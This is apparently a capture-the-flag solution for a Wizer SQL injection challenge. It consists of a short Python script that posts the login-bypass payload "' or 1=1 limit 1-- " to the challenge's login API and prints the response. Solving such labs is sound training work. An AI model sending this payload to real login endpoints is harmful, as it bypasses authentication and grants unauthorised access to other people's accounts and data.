Wizer - Challenge 29 - SQLi

Exploit

import requests


url = "https://chal29-58jfkl.vercel.app/api/login"



r = requests.post(url, json={
    "user": "' or 1=1 limit 1-- "
})


print(r.text)